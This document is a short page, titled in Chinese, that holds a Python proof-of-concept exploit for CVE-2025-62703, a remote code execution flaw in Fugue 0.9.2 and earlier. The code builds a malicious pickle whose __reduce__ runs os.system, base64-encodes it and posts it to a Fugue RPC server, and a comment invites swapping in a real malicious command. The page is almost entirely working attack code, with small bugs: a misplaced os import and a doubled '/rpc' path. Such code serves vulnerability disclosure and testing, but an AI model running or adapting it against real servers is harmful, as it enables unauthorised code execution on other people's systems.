CVE-2025-62703: Fugue 0.9.2及之前版本远程代码执行漏洞

import pickle import cloudpickle import requests import base64 # PoC for CVE-2025-62703: Fugue RCE via pickle deserialization # This demonstrates the vulnerability in FlaskRPCServer's _decode() function class MaliciousPayload: """ Malicious class that executes arbitrary code during unpickling """ def __reduce__(self): # Replace with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_pickle(): """Generate malicious pickle payload""" import os payload = MaliciousPayload() serialized = cloudpickle.dumps(payload) return base64.b64encode(serialized).decode() def exploit_fugue_rpc(target_url): """ Send malicious payload to Fugue FlaskRPCServer Args: target_url: URL of the Fugue RPC server endpoint """ malicious_data = generate_malicious_pickle() # Send the malicious payload to the RPC server # The server will decode and unpickle this data without validation response = requests.post( f"{target_url}/rpc", json={"data": malicious_data}, headers={"Content-Type": "application/json"}, timeout=10 ) return response.status_code, response.text # Example usage if __name__ == "__main__": # Target should be the Fugue RPC server address target = "http://target:5555" status, resp = exploit_fugue_rpc(f"{target}/rpc") print(f"Status: {status}, Response: {resp}")